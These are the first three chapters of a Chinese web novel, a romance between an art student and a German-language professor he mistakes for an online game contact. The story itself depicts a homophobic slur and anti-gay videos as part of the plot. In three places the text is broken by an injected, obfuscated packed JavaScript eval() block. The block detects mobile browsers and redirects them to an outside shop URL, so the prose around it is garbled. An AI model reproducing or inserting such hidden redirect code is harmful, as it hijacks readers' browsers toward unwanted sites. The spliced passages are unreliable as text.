《野系校草被教授捡回家》 1. 第1章 “林逸,我喜欢你。” 火锅蒸腾的热气氤氲缭绕,赵晴这句话让整桌的人瞬间安静。 几双筷子悬在半空,有人刚夹起的牛肉片滑回红油锅里,所有人的目光在赵晴与林逸之间来回转动。 林逸咀嚼的动作微微一顿,随即放下筷子,用纸巾轻拭嘴角,才抬眼看向赵晴,唇边漾开一个温和却疏离的弧度: “赵晴,我们认识这么多年了,你还不了解我吗?” “我这个人,真的不适合谈恋爱。” 桌对面的人忍不住笑出声,“这点我认同。” 赵晴不理会这试图化解尴尬的玩笑,她身体前倾,双手托着下巴,继续说:“林逸,我是认真的,我们可以在一起吗?” 林逸放轻声音:“我不想骗你,我喜欢男人。” “可是……” 赵晴声音突然拔高,“你爸也是……你妈就是因为这个,才跟你爸离婚了?你难道要……” “咳!” “咳!” 话音未落,立马响起几声清晰的咳嗽声。 氛围突然变得诡异,连火锅沸腾的“咕嘟”声都格外刺耳。 谁都知道这是林逸心里最敏感的话题,也是朋友之间交谈的禁区。 林逸的眼神黯淡了一瞬,但很快恢复了平静。 他没有立刻反驳那个关于他家庭的话题,只是轻轻笑了一下,仿佛在笑一个与自己无关的玩笑。 他拿起公筷,自然地往翻滚的红油锅里下了一盘虾滑,用这个从容的动作,将尴尬的气氛重新“搅动”: “那你喜欢我什么?” “因为你帅啊,”赵晴回答得毫不犹豫,还带着少女纯粹的固执,“我身边没有比你更帅的!喜欢帅哥有错吗?” 这直白的赞美让林逸有些招架不住。 “赵晴,”他抬起眼,目光坦诚,“我们都认识十几年了,你看,我打游戏会坑你,吃饭还总抢你爱吃的肉……抛开这身皮囊,我不仅十分普通,甚至毛病还挺多。” “所以,别被男人的脸骗了。” 在他说完这句明确的拒绝后,赵晴死死盯着他,肯定道:“可我就是抛不开你的脸啊!” 林逸看着她微微颤抖的唇瓣,心头一软,无声地叹了口气。 他拿出手机,解锁,指尖在屏幕上快速滑动。 最终停在一个游戏好友的头像上。 ID名称「马可啵啵茶」 “你看,”他将屏幕转向赵晴,语气轻松得像在介绍一道菜,“我新男朋友。” “像我这种渣男,换男人比换衣服还快,真不值得你喜欢。” 赵晴猛地起身,抓起桌上那杯没动过的冰柠檬水,狠狠泼向林逸。 “林逸,你混蛋!去死吧!死基佬!” 冰凉的液体顺着发梢滴落,在白T恤上晕开深色的水渍,凉意渗入皮肤。 林逸没有闪躲,甚至连眼睛都没眨一下,脸上依旧维持着那副温和的,近乎麻木的笑容,仿佛早已习惯了这样的场面。 “晴姐,不至于不至于昂!” 立刻有人起身打圆场。 旁边的李锐一边递纸巾给林逸,一边对赵晴说:“赵晴,你冷静一下,你们都太熟悉了,反而不适合做恋人,林逸的性格你了解,他现在……确实还没准备好安定下来。” 赵晴:“李锐,你到底向着谁啊!我俩可是邻居,你怎么胳膊肘往外拐啊!” “……我没有。” 另一侧的张泽轩赶紧接话:“晴姐,你消消气嘿!改天哥们儿给你介绍个更帅,更专一的,就喜欢你这款暴躁小野马类型的!” “哼!林逸!看不上老娘你等着后悔去吧!” 赵晴狠狠瞪了林逸一眼,抓起包转身就走。 张泽轩推了推还在埋头往自己嘴里塞肉的周子阳:“先别吃了,你跟她关系好,快去送送……” 周子阳小跑着追出去后,剩下的几人重新落座,气氛一时有些沉闷。 李锐拍了拍林逸湿漉漉的肩膀:“你没事吧?” 林逸抽出几张纸巾,不紧不慢地擦拭着头发和脸颊,语气平静:“没事,她出了气就好。” “总不能让她下不来台吧,”林逸把湿纸巾团成一团丢进垃圾桶,“女孩子鼓起勇气告白已经很难得了,不能再打击人家自信心。” 张泽轩一屁股坐下,摆摆手:“放心,就咱晴姐这心理承受能力……你放一百个心,不会打击到一丁点儿! 我猜啊,她现在已经开始琢磨下一个男朋友的人选了。” 李锐的目光全放在林逸的身上,试探着问:“你真又换……男朋友了?” 林逸端起啤酒喝了一口:“我在游戏里确实谈了一个还不错的队友。” 李锐:“……” 林逸只是静静地看着门口,想起刚才赵晴说的那句: 你爸也是……你妈就是因为你爸骗婚,才离婚的……你难道要跟你爸一样…… 赵晴虽然没说完,但是现场的朋友全都了然。 张泽轩倒是心大,一边涮着毛肚一边插嘴:“李锐,你看他那一脸生人勿近的样儿,像掉进爱河的吗?” 他咽下食物,油腻的手指用纸巾胡乱擦了擦,划开手机,点开林逸的朋友圈: “来,我给你数数啊……数数咱逸哥的丰功伟绩!” “五月四号,发朋友圈官宣分手,告别第六十任……到上周八月二十号,官宣新恋情,喜迎第六十五任。” 李锐扒拉他一下:“你少说两句……” 被张泽轩巧妙地躲开,又夹了一块肉送进了嘴里,继续翻找聊天记录: “看看他跟我们说的分手理由,我来朗读一下,听好了啊——” “分手原因一「因为林逸属龙对方属猴,属相犯冲——卡喉咙,所以分手大吉!」” “不儿,哥们,你还谈啥恋爱啊!就你这分手理由,直接去参加脱口秀比赛,免海选直通半决赛,信不信所有导师都得为你爆灯!” “可是这事结果怎么样啊——人家反手就把你挂校园论坛了,那阵子你们学校的都在骂你渣得清新脱俗,你都忘了?” “还有上个月,有个学妹P你俩的牵手照,你去人家论坛回复了个啥——「咱俩都B型血,我怕孩子将来是2B,还是分手吧」” “不是,你没恋爱你瞎认领什么女朋友…… 到现在,论坛里还在骂你空长一张建模脸,素质低下没教养…… 你再这么下去,马上你就会被整理《渣男实锤pdf》当成猛料疯传了!!” “既然是p的,再解释也不会有人信。” 林逸声音有些低沉,“她p图很专业,既然能p牵手照,也可以p聊天记录,解释只会陷入自证陷阱,我直接承认是最干净利落的结束方式,也能劝她不要在我身上浪费时间。” “至于那些言论,我不看也就影响不到我。” 张泽轩连连鼓掌:“高啊,实在是高!您真是人间活菩萨,妥妥的分手大师啊!” 李锐看着林逸越来越沉的脸色,打断张泽轩:“行了,林逸还不是因为陈之南那事儿……之后才一直没走出来,换几个对象也不过是……疗伤。” 林逸起身,打断了他后面的话:“今天我请客,赵晴那边,麻烦你们多安慰,陪她逛逛街,费用我报销。” “林逸……”李锐犹豫了一下,还是开口:“有事别憋着,一定要跟我们说。” “我能有什么事,”林逸扯了扯嘴角,试图让语气轻松些,“最近赵晴要是想来学校揍我,你们记得拦着点,我不想以被打进医院的受害者的身份登上蓝底白字的通报。” “林逸,你等一下……” 李锐还想说什么,在看到林逸皱眉头的瞬间没再继续,只是说,“没什么,明天开学了,空了来我学校找我吃饭。” 林逸点了点头,“回见。” 走出餐馆,潮湿闷热的晚风扑面而来,接近九月份,天气不仅没有降温,反而更加潮湿了。 江州的天气一直都是这样,跟他此刻的心情一样糟糕。 林逸感到肩膀处T恤黏腻地贴着皮肤,混合着柠檬水的微酸和糖浆的甜腻。 他拐进旁边的便利店,买了一包纸巾,在门口的长椅上坐下,开始擦拭。 手机屏幕亮起。 游戏好友「马可啵啵茶」发来消息: [哥哥,刚才让我发那句话是什么意思呀?] 往上翻,是刚才他让对方临时发的: [老公,我想你了,亲亲.jpg] 以及他自己的回复: [亲亲.jpg] 刚才给赵晴看的,正是这几条记录。 他划掉游戏通知。 点开微信,目光在置顶联系人【妈妈】上停留片刻。 点进去,上一次对话停留在三个月前。 母亲发来的数条视频链接: 「视频1:12【如果你的孩子是gay,到老了一定会后悔】」 「视频5:20【这才是正确的恋爱观!转发给你的孩子】」 「视频2:08【男同属于恋爱自由吗?其实是父亲在家庭教育的严重缺失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803998|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !】」 …… 他沉默地退出聊天界面,返回游戏,开始打字: 【不讲兔德】:我喜欢男人,是gay,刚才抱歉。 【马可啵啵茶】:正在输入中…… 【不讲兔德】:要见一面吗? 他瞥了一眼右上角,距离19km。 【不讲兔德】:正在输入中…… [如果觉得冒昧,可以拒绝……] 【马可啵啵茶】:那你是1还是0呀?[害羞.jpg] 林逸看着屏幕,挑了挑眉。 删除打字框的内容,然后回复: 【不讲兔德】:1。 【马可啵啵茶】:这个“。”是什么意思?你难道是1.5吗? 【不讲兔德】:句号表示肯定。纯1。 【马可啵啵茶】:哪里见面?期待.jpg 【不讲兔德】:地点你定。 【马可啵啵茶】:发送定位[鹿岛咖啡(江州大学店)] 【马可啵啵茶】:发送语音:“明天下课以后见,大约7点可以吗?哥哥~” 林逸点开语音,对方清亮又带着点软糯撒娇的声音流出。 他唇角不自觉地勾起一抹极淡的弧度。 声音好听,游戏技术超菜,还特别黏人,正好符合他现在想“换换心情”的需求。 【不讲兔德】:OK。 “江州大学的学生吗?” 他低声自语,点开地图查询,打车过去大约二十七分钟。 如果是同龄人,或许……真的可以试试。 林逸就读的国立美术学院,因校内艺术展占用了上课的教室,开学推迟了一周。 他今年已是大三,视觉传达设计专业课程本就相对宽松,加上学校鼓励实习,一周满课的情况下也能空出三天。 …… 于是,次日傍晚。 他如约前往对方发来的定位地点。 晚高峰的车流比预想中拥堵,快到目的地的时候已经快到时间了。 林逸匆匆推门下车。 刚踏进鹿岛咖啡店,就被冷气充足、飘着浓郁咖啡香震得头脑清醒,他下意识去摸口袋,心里顿时一沉。 刚才下车有点着急,手机落在了出租车上。 他看了一眼腕表,离约定时间还有五分钟。店内客人稀疏,只有两对情侣在低声交谈。 “算了,等会儿借用他的打个电话吧。” 他的目光习惯性地扫过全场,最终定格在最里侧靠窗的角落。 光影交错处,坐着一个穿着黑色衬衫的男人,此时正专注于眼前的笔记本电脑,修长的手指在键盘上敲击,下意识地推一下架在鼻梁上的金丝眼镜。 男人微蹙的眉宇间撑满了专注,黑色的碎发垂落额前,周身散发着一种沉静而疏离的气质。 林逸的心跳突然开始失去了规律。 他站在原地,不动声色地打量着对方。 从他专注的眉眼到敲击键盘时骨节分明的手,一切都与他想象中那个在游戏里软软撒娇的「马可啵啵茶」相差甚远。 昨晚那句带着尾音的“哥哥~”仿佛还在耳边回响,对比眼前这幅沉静的画面,一种奇异的感觉在林逸心里蔓延,让他莫名觉得有些口干舌燥。 男人拿起手机放到耳边,似乎是拨号未通,他眉头微蹙,放下手机。 目光不经意地抬起,恰与林逸未来得及移开的视线在空中相撞。 那是一双极为沉静的眼眸,隔着镜片,依然能感受到其中审视的光。 林逸:我手机丢了,所以他刚才是在给我打电话吗? 难道真的是他? 只用了三秒钟,林逸就接受了眼前这个成熟男人就是「马可啵啵茶」的事实。 巨大的反差非但没有让他退缩,反而瞬间点燃了他眼底的兴趣。 他脸上迅速调整出一个礼貌而迷人的笑容,迈开长腿,径直朝那个角落走去。 “没想到,你来得比我还早。”他的声音带着恰到好处的熟稔。 男人看到他径直走过来,眉头微蹙,眼神里的疑惑和审视并未散去,还透着一股生人勿近的气场。 但他只是沉默着,没有回应。 林逸见状,激起了更强的征服欲。 他自然地走到桌边,一手随意地撑在桌沿,俯身凑近。 下一刻,在对方略带错愕的目光中,林逸带着一丝试探,飞快地在那张好看的侧脸上,轻啄了一下。 “抱歉,是我来晚了,”林逸声音里浸着笑意,“等久了吧,宝贝。” 2. 第 2 章 林逸带着一身清爽的皂角香气突然靠近时,男人敲击键盘的修长手指,僵在了半空。 时间,仿佛被无限拉长。 他能清晰地感受到年轻人靠近时带来的青春活力的温热体温,以及那个一触即分的吻留下的湿润感。 他没有推开,这不符合他三十年来的教养。 他只是极缓慢地转过头,目光落在林逸那张含着笑意的脸上,心脏在胸腔里不受控制地鼓噪。 这个年轻的小孩太耀眼了,像一道猝不及防的光,撞进他井然有序的世界。 “你……是江州大学的学生吗?” 这是他开口说的第一句话,声线比想象中要稳。 林逸笑了一瞬。 网上那个ID叫[马可啵啵茶],喜欢撒娇,软磨硬泡想要见面的乖小孩,此时正襟危坐、一本正经地看着他。 这强烈的反差感,让林逸觉得十分有趣。 “哦,我不是......”他稍作停顿,像是在思考要不要说实话,然后才清晰地吐出几个字:“我是国立美术学院的学生。” 男人闻言,指节分明的手指再次轻抚了一下鼻梁上的金丝眼镜,淡淡应道:“嗯。” 这反应平淡得让林逸有些意外。 林逸正想着,要不要自己再主动一些。 却听见对方用那清冷的嗓音继续道:“国立美术学院……艺术生?” 林逸认真道:“嗯,没错。” 都是成年人了,他们彼此都为这次见面精心整理过着装,接下来该发生什么应该心照不宣。 他倒要看看,这个表面正经,背地里叫他“哥哥”的男人能装到什么时候。 男人目光平直地看过来,仿佛真的只是在陈述一个客观事实,停顿了一会儿,随后说:“最近江州大学正好有课题涉及艺术类,如果你有兴趣,可以来听听讲座。” “讲座吗?” 林逸轻轻挑眉,向前微不可察地倾了半分身体,两人之间的距离再次拉近。 他声音压低,裹着丝丝缕缕的笑意:“所以……同学,你这是在邀请我……约会吗?” 虽然提到的什么讲座听上去就很无聊,但是如果跟他去的话,林逸倒是特别有兴趣。 男人看着他近在咫尺的脸,能清晰地看到他长而密的睫毛,和那双桃花眼里潋滟的光。 他喉结微动,面上却不动声色:“嗯。” 林逸得寸进尺:“那以什么身份约会?男朋友吗?” 他以为会看到对方露出窘迫或慌乱的神情,毕竟这种直接表达撩拨的方式,他屡试不爽。 然而,男人依旧表现出淡然的模样。 他迎上林逸那暧昧的目光,金丝眼镜后的眼眸里,掠过一丝极淡的笑意。 “在艺术学院,你应该学过,”男人不紧不慢地继续,语气甚至带着几分循循善诱,“行为本身就是最直接的身份定义。” “……”林逸微微一怔,他指的是刚才我偷亲他的那件事? 男人的语气愈发温和:“所以,同学,你希望我怎么定义我们接下来的关系?” “你这么说,还……挺新鲜的……”林逸声音里刻意营造的轻快下,藏着一丝不易察觉的紧绷。 还反问上我了?我可不想这么快就给你什么身份。 看来,这次是真的遇到高手了。 他这话比我胡诌的什么“第六十六任男友”的身份,听上去高级多了。 …… 两人就这么相对而坐,气氛不像是暧昧初识的网友见面。 反倒像是在谈一场百万级别的大生意,彼此试探,相互权衡。 林逸没遇到过这种类型的男人。 他交往过的对象中,大多直接热烈,欲望写在脸上,交流停留在同一维度。 而眼前的男人,就像一座笼罩在迷雾中的远山,感觉跟他完全不在同一个交流频道。 不过,这种难以掌控的“与众不同”和极致的“反差感”,激起了林逸强烈的征服欲。 他就喜欢啃这种硬骨头,享受将高高在上地将“明月拉入凡尘”的过程。 林逸正想主动要联系方式,突然想起手机忘在出租车上了:“你能借我用用……” 男人同时开口:“你想喝点什么?” 男人:“用什么?” 林逸:“冰美式。” 再次异口同声。 这种莫名的默契让林逸愣了一下,随即他解释道:“我手机不小心忘在出租车上了,能方便借你的手机打个电话吗?” 他没有多问,直接将手机解锁递了过去。 他的手机桌面干净简洁,除了必要的办公软件,几乎没有娱乐应用,符合他给人的第一印象。 “谢谢啊。” 林逸接过还带着对方体温的手机,开始给自己的号码拨打电话。 忙音一声接着一声,在安静的咖啡厅里格外清晰。 他连续打了五六个,一直无人接听。 想到那个手机里存着的一些珍贵的照片,林逸确实有些着急了,他下意识地脱口而出:“马可啵啵茶,你说,司机不会不想给我了吧?或者是被下一个乘客顺手拿走了......” 他说到这里突然停下了,然后带着点懊恼,看向男人。 男人完全捕捉到了他的小情绪,以及那个关键无比的称呼——[马可啵啵茶] 经过分析,他大概明白了今天的乌龙:看来这个耀眼夺目的年轻人,是来这里见网友的,而我被他当成了那个叫「马可啵啵茶」的网友。 一种微妙的,混合着庆幸与更加浓厚兴趣的情绪,在男人的心底蔓延开来。 这是一个美好的误会,让他有了靠近心动的机会,似乎还不错。 男人合上笔记本电脑,声音温和地安抚:“你先别急。” “这样等下去不是办法。” 男人抬眼时,正好看到门口走进来一位边打电话边找座位的学生。 他将自己的笔记本和旁边的几本德文原版书籍拿起,整理好,对林逸说:“你家人或者朋友联系不上你,可能会更担心,隔壁有家手机店,先去买一部手机应急,这样也方便你找原来的手机。” 林逸:“不用,不用,我……” “你别误会。”他的声音温和,听上去让人不忍心拒绝,“这不是礼物,只是帮你的工具,等你找到原来的手机,可以以任何形式还给我。” 他没有给林逸太多犹豫的时间,自然地站起身,拿起搭在椅背上的薄款外套。 走过林逸身边时,他极其自然地伸出手,轻轻揽了一下林逸的肩膀,保持着恰到好处的礼貌距离:“走吧。” 就在男人靠近的瞬间,林逸才真切地感受到这个男人的体型。 他比180cm的林逸还要高出半个头,估计已有190cm。 两人的体型气质也完全不同。 他是那种典型的、经常进行力量训练才能塑造出的宽肩窄腰、胸肌挺阔的倒三角体型,包裹在剪裁合体的衬衫下,透着一种沉稳可靠的成熟男性力量感。 而林逸,虽然身高腿长,拥有优越的三七分模特比例,但因为皮肤过于冷白,骨架偏修长,肌肉线条更趋近于流畅的少年感,从背后看上去,更像是T台上追求极致瘦削感的时装超模。 进了手机店,林逸随意选了一款中等价位的手机。 男人没有多言,在他选定后主动上前刷卡付款,动作干脆,没有一丝炫耀的意思,仿佛只是完成了一件再平常不过的小事。 “谢谢,我回家就把钱还给你。” 林逸再次表示,他不喜欢欠人情,尤其是这种物质上的人情。 “嗯。”他不在意地点了一下头。 “对了,聊了这么久,我还不知道你的真实名字?” 林逸随意地问道,心里却打着小算盘,问到了真实名字,能查到更多信息。 “沈北岛。” “那你……留个电话?方便我下次联系你还钱,而且我手机丢了,游戏号暂时登录不上去了。” “好。”沈北岛报出了一串数字。 …… 到了晚上,林逸回到了自己在江州的公寓。 林逸临时办了一张手机卡。 他不停地给自己的旧号码打电话,还发送了【重金求送回】的短信,希望对方能够归还。 旧手机绑定的游戏账号暂时登录不上去了,这让他有些烦躁。 不过,好在有了沈北岛的联系方式,不至于联系不上「马可啵啵茶」。 他用新手机的微信搜索沈北岛的手机号,跳出一个名为「Eiland」的用户。 头像是一片深邃的蓝色海面,中央是一座孤悬的岛屿。 “Eiland?”林逸低声念出这个陌生的单词,手指在浏览器搜索栏里输入。 [Eiland:德语,岛屿的意思] 他轻声读着释义,嘴角勾起一抹笑:“岛屿……沈北岛?还挺契合。” 他点击了添加好友,在备注栏里输入: 【是我,不讲兔德,忘了告诉你我的真实名字,我叫林逸,Eiland先生,可以通过一下吗?】 刚发送完申请,手机顶部就连续弹出了两条消息提醒。 【那个男人】发来2条消息 林逸瞬间有些心情烦闷,还是点开了聊天框。 【那个男人】[转账] 【那个男人】在忙什么? 【那个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803999|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】下周二我会去江州一趟,方便见一面吗? 【那个男人】我听说你交了新男朋友,可以一起,我请你们吃饭 林逸盯着屏幕,眼神冰冷。 他顺手点了收款,仿佛那只是一串毫无意义的数字。 林逸打字回复: 【不讲兔德】谢了,我很忙,抱歉! 【那个男人】我们已经半年没见了,很想你,别拒绝我好吗? 【不讲兔德】可我真的有事……(删掉) 【不讲兔德】地址,我看看距离……(删掉) 就在这时,微信弹出一条新通知: Eiland已通过您的好友申请。 林逸退出与【那个男人】的聊天页面,点进了那个刚刚添加的,头像是一片深蓝海域的对话框。 【Eiland】「德国艺术家演讲时间安排」 【Eiland】演讲在下周二下午两点,江州大学一号报告厅,时间方便吗? 林逸看着屏幕,嘴角不自觉地上扬。 但他并不打算表现得过于顺从。 【不讲兔德】下周二吗?我需要看看那天有没有课[思考] 事实上,他到下下周一才开学,这一周完全不用上课。 他之所以这么说,是想试探一下沈北岛的态度,看看对方会不会主动。 他其实很享受这种被人追逐和重视的感觉。 他故意等了几分钟,才又补发一条: 【不讲兔德】沈同学,真是抱歉,我刚查了课表,下周二上午满课,可能赶不上下午的讲座了。 消息发出去后,他等待着,没过多久,沈北岛很快给予了回应: 【Eiland】如果你不介意,我可以开车去接你 【不讲兔德】那就麻烦你了 【不讲兔德】[谢谢表情包] 【Eiland】不客气 【Eiland】手机找到了吗? 【不讲兔德】还没[叹气] 【不讲兔德】[转账] 手机的钱,今天多谢! 沈北岛并没有接收。 对话似乎暂时截止在这里,沈北岛没有再发来新的消息。 这种适可而止的分寸感,让林逸觉得有些意外,又有点被吊胃口的感觉。 他很少遇到这种不急于献殷勤,甚至懂得适时沉默的男人。 他再次点开与【那个男人】的对话页面。 在搜索框里输入[鹿岛咖啡(江州大学店)]的定位,发送了过去。 【不讲兔德】中午十二点,这里见。 他倒要看看,如果真带着一个“新男朋友”出现时,他会是什么表情。 而沈北岛,这个看起来完美得不像话的“临时演员”,无疑是最好的人选。 至于沈北岛会不会配合? 林逸并不担心,他自有办法让对方点头。 * 周二,中午11:26 一辆黑色奔驰SUV停在了国立美术学院附近的路边。 驾驶座上的沈北岛,换下了一贯的衬衫,穿上了一件黑色休闲夹克,让他看上去少了几分严肃,几乎与校园里的学生同龄。 他握着方向盘,目光望向校门方向,内心涌动着一股连他自己都觉得陌生的期待感。 这三十年来,他从未如此紧张。 当林逸的身影出现在视线里时,沈北岛觉得自己的呼吸突然停顿了一下。 林逸一件白色的皮夹克,像是自身发出的光晕。 衣料在光下泛着极细微的柔光,纯粹的白色与他冷白的肤色相融,整个人干净得耀眼,仿佛与周遭划开了界限。 黑色的头发看起来柔软而蓬松,自然地垂落,稍微遮挡了一点眉眼,却反而让那双灵动的桃花眼更加勾人心魄。 他随意地拉开车门,坐进副驾,带来一阵淡淡的,清爽的皂角香气,与那天在咖啡店里的味道一样。 “等很久了吗?”林逸一边系安全带一边问。 “没有,刚到。” 沈北岛收敛起眼底的欣赏,平稳地启动车子。 他必须承认,从第一眼起,他就是被小孩这副好看的容貌所吸引。 虽然深知“见色起意”并不算多么高尚的出发点,但他无法否认,他从未对任何一个人产生过如此强烈的心动信号。 爱,大概就是从这些傻气的小事开始生根发芽的。 沈北岛发现他们穿着相似的夹克,会觉得这不是普通的巧合,而是独属于他们两人的默契。 整个世界瞬间沦为背景,唯有他们是共享着同一频率的焦点。 那种不言而喻的默契会将两人的距离拉近,比任何情话都让沈北岛感到与众不同…… 3. 第 3 章 林逸看着沈北岛专注开车的侧脸,鼻梁高挺,金丝眼镜让他看起来禁.欲中带着斯文。 这个男人确实很有魅力,是那种成熟稳重,很容易让人产生好感和依赖的类型。 “我们先去吃个饭吧,讲座两点开始,时间还算充裕。”沈北岛提议道。 “不了,”林逸几乎没怎么思考就拒绝了,他晃了晃手机,语气带着点刻意的疏离,“我有个朋友在江州大学那边,说要见我一面,我跟他一起吃就行。” 沈北岛握着方向盘的手指收紧了一下。 “嗯?重要的事吗?”他尽量让自己的声音听起来只是随口一问,而非质问或者是探究。 可他们不是约好了,要去听讲座吗? 林逸靠在椅背上,目光投向窗外飞逝的街景,语气随意得像是在谈论天气:“一个老朋友,好久没见了,正好趁今天碰个面。” 他顿了顿,仿佛才想起来似的,补充道:“说起来,他好像也是你们德语专业的,是什么……德语经贸专业。” “我跟他应该不一样,”沈北岛目视前方,平稳地转过一个弯,“我学的是德语翻译方向。” 他心下稍定,原来是同学。 这似乎……不算什么威胁。 作为江州大学外国语学院最年轻的教授之一,他的授课范围其实相当广,从专业课到院级公共选修课都有涉及,只要是外国语学院的学生,大概率都上过他的课。 至于他为什么不在一开始就表明自己的教授身份…… 或许是担心一定数量的年龄差会像一道鸿沟,让这个看起来随性不羁的年轻人立刻对他失去兴趣。 在真正让林逸接受他之前,他不想冒这个风险。 “你朋友叫什么名字?”沈北岛随意地接话,“或许我们认识。” “李锐。”林逸笑了笑,侧过头看沈北岛的反应,“他好像是在三班……你们认识吗?” 沈北岛的心脏猛地一跳,面上却波澜不惊,随后微微蹙眉,像是在努力回忆。 然后摇了摇头,语气带着些遗憾:“不认识,外国语学院的学生太多了,我也只认识同专业,或者一起上过公共课的同学。” 林逸:“不认识也没关系,改天介绍你们认识。” 沈北岛十分平静:“嗯。” 李锐,正是沈北岛负责班级里的学生,也是他从大一带到现在颇为得意的学生之一。 而下午的讲座,李锐大概率也会在场帮忙。 这让沈北岛心底升起一丝荒谬感和强烈的危机感。 这个巧合太过戏剧性,一旦穿帮,后果不堪设想。 “等会,麻烦你把我放在鹿岛咖啡店吧?”林逸似乎并不在意,很快就把这个话题抛在了脑后。 沈北岛瞥了他一眼:“好。” 林逸拿出新手机,开始低头摆弄,不再说话。 车厢内陷入了一种微妙的沉默。 沈北岛用余光能看到林逸纤细白皙的手指在屏幕上快速滑动,神情专注,嘴角偶尔还会勾起一抹浅淡的笑。 那笑容很好看,却让沈北岛心里有些不是滋味。 他在跟谁聊天? 是那个「马可啵啵茶」吗? 约他见面的“老朋友”是李锐吗? 可是李锐平时有事都会提前向他请假。 沈北岛发现,自己对林逸的了解太少了。 这个年轻人像一本包装精美却难以翻阅的书,他只能停留在扉页,窥不见书里的真实内容。 这种无法掌控的感觉,对于习惯了在学术世界里游刃有余,一切尽在掌握的他来说,既陌生又煎熬。 他开始在心里仔细复盘从咖啡店相遇至今的每一个细节。 林逸的主动、大胆,却又在关键时刻流露出的疏离和游刃有余…… 他提及“男朋友”时的戏谑,对待「马可啵啵茶」这个ID的态度…… 这一切都指向一个可能性:林逸的感情经验可能相当丰富,他或许只是林逸漫长“情史”中普通的一页。 甚至可能…… 只是他一时兴起,想要“玩玩”的一个小插曲。 可是,如果感情能收放自如,那便不是真正的动心了…… 一旁的林逸,虽然看似在专注地玩手机,心思却也有一半放在了沈北岛身上。 他能感觉到身旁男人偶尔投来的克制、温沉的目光。 有点意思。 林逸在心里轻笑。 这个男人确实和他以前遇到的那些都不太一样,没那么好搞定。 林逸漫不经心地想:就当是开学前,找点乐子吧,至于能持续多久? 那就看这位“沈同学”能带给他多久的新鲜感了。 他瞥了一眼导航,距离江州大学还有一段距离。 他调整了一下坐姿,闭上眼睛,假装休息。 车子大概行驶了三十多分钟,沈北岛将车停在了鹿岛咖啡旁的路边。 “谢了。”林逸头也没回,干脆的下了车。 沈北岛握着方向盘,目光沉沉地追随着林逸的身影,看着他推开了鹿岛咖啡店那扇熟悉的玻璃门。 店内的暖光勾勒出年轻人修长的背影,沈北岛看着他径直走向靠窗的座位,那里已经坐着两个男人。 紧接着,让沈北岛瞳孔微缩的一幕发生了: 其中一个气质儒雅的男人站起身来,极其自然地张开手臂,亲昵地拥抱了林逸。 最后,伸出手,带着显而易见的宠溺,轻轻捏了捏林逸的脸颊。 而林逸,非但没有抗拒,反而仰起脸,露出了一个沈北岛从未见过的,带着些许依赖意味的灿烂笑容。 那笑容纯粹得刺眼,与林逸跟他相处的那种疏离的姿态截然不同。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804000|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 后面等待的车辆不耐烦地按响了喇叭,惊醒了怔忡中的沈北岛。 他深吸一口气,强迫自己移开视线,重新握紧方向盘,脚下轻踩油门,黑色SUV缓缓汇入车流...... 鹿岛咖啡店内。 林逸瞥见那辆黑色SUV驶离,林逸脸上那抹刻意营造的笑容瞬间淡去了几分。 他不动声色地拉开椅子坐下,语气轻描淡写的看了一下外面,说道:“刚我男朋友送我来的,他有些害羞,就不进来了。” “哦,没关系,下次也一样。” 坐在他对面的,与他有着相似桃花眼,更显成熟风韵的男人,是他的父亲。 那个“骗婚”的gay,谢醇。 谢醇看着儿子,眼神复杂,带着小心翼翼地讨好:“小逸,我们先喝点什么?等会儿我带你去你以前最喜欢的那家餐厅吃饭。” “不用麻烦了。”林逸拒绝得干脆,视线落在窗外来往的车流上,避免与谢醇对视,“我同学找我还有事,坐一会儿就走。” 自从他知道了父亲的秘密,那个曾经亲昵的称呼再难以宣之于口。 他能从理性上,理解一个同性恋者基因里对男人的喜欢,也认为爱如流水一样自由。 但他无法原谅,也无法接受,一个人为了所谓的“成家立业、传宗接代”,就选择去欺骗一个无辜女人的感情与人生,而那个女人,是他的母亲。 每一次对谢醇流露出哪怕一丝缓和,都会让他产生一种对母亲的背叛感。 这时,坐在谢醇旁边的那个年轻男人开口:“林逸是吧?你爸好不容易回来一趟,一起吃个饭吧……” “你又是谁?” 林逸看向这个陌生的年轻人,最终却将质问的眼神定格在谢醇脸上,语气带着毫不掩饰的讥讽,“你新男人?” 谢醇微微皱眉,但他并没有动怒,只是耐心地解释:“不是,你误会了,他是我带的实习生,早上陪我去见了客户,谈完事情就顺路一起过来了。” “实习生?”林逸挑眉,重复着这个词,开始打量这个年轻俊秀的男人。 这么漂亮年轻的实习生,形影不离地跟着谢醇,那点心思全都写在脸上了。 一股无名火夹杂着一种难以言喻的烦躁涌上来。 